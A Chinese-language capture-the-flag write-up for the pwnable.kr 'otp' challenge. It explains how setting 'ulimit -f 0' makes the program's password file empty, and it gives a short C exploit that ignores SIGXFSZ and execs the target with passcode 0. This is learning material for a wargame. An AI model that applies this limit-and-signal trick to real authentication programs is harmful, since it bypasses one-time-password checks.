pwnable.kr "otp"

这是一道one time password的题，起初思路跑偏了，以为问题可能出在/dev/urandom上，后来网上怎么也找不到能破解/dev/urandom随机性的方法。整道题也不存在任何溢出漏洞。

后来看了writeup才知道可以通过ulimit命令来修改进程所能使用的resource， shell下运行help ulimit,

```
ulimit: ulimit [-SHabcdefilmnpqrstuvxT] [limit]
    Modify shell resource limits.

    Provides control over the resources available to the shell and processes
    it creates, on systems that allow such control.

    Options:
      -S    use the `soft' resource limit
      -H    use the `hard' resource limit
      -a    all current limits are reported
      -b    the socket buffer size
      -c    the maximum size of core files created
      -d    the maximum size of a process's data segment
      -e    the maximum scheduling priority (`nice')
      -f    the maximum size of files written by the shell and its children
      -i    the maximum number of pending signals
      -l    the maximum size a process may lock into memory
      -m    the maximum resident set size
      -n    the maximum number of open file descriptors
      -p    the pipe buffer size
      -q    the maximum number of bytes in POSIX message queues
      -r    the maximum real-time scheduling priority
      -s    the maximum stack size
      -t    the maximum amount of cpu time in seconds
      -u    the maximum number of user processes
      -v    the size of virtual memory
      -x    the maximum number of file locks
      -T    the maximum number of threads

```

可以看到有这么一行

```
-f     the maximum size of files written by the shell and its children
```

通过ulimit -f 0命令把size限制为0，程序在fclose的时候会出错不能写入，往后运行的时候fread读出来的也是为空，那么passcode就是永远是0了。

在自己的ubuntu环境下ulimit -f 0后直接./otp 0，就get flag了。但是ssh到pwnbale.kr后发现不行。

```
dddong@ubuntu:/media/psf/Home/workspace/CTF/pwnable/otp$ ./otp 0
File size limit exceeded (core dumped)
```

gdb调试发现程序接收到了SIGXFSZ信号，信号的含义是exceed limited file size。接收到信号之后程序就终止了，可以通过signal函数改变程序接收到SIGXFSZ信号后的处理方式为IGNORE，或者是把SIGXFSZ这个信号加入block_set里面，加入block set的信号并不会立即deliver 给程序，而是会被放在pending set里面（详情可见man 7 signal）。这样程序收到信号后就继续运行下去了。

最后的exp

```c
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char *argv[]) {
        if (argc != 2) {
                printf("Usage: %s target\n", argv[0]);
                exit(0);
        }


/*
 * alternative code

        sigset_t mask;
        sigemptyset(&mask);
        sigaddset(&mask, SIGXFSZ);

        sigprocmask(SIG_BLOCK, &mask, NULL);    //add SIGXFSZ into block set
*/
    signal(SIGXFSZ, SIG_IGN);       //just ignore the SIGXFSZ

        char *arg[] = { "otp", "0", NULL };
        char *env[] = { NULL };

        execve(argv[1], arg, env);  //child process will inherit the signal disposition

        return 0;
}
```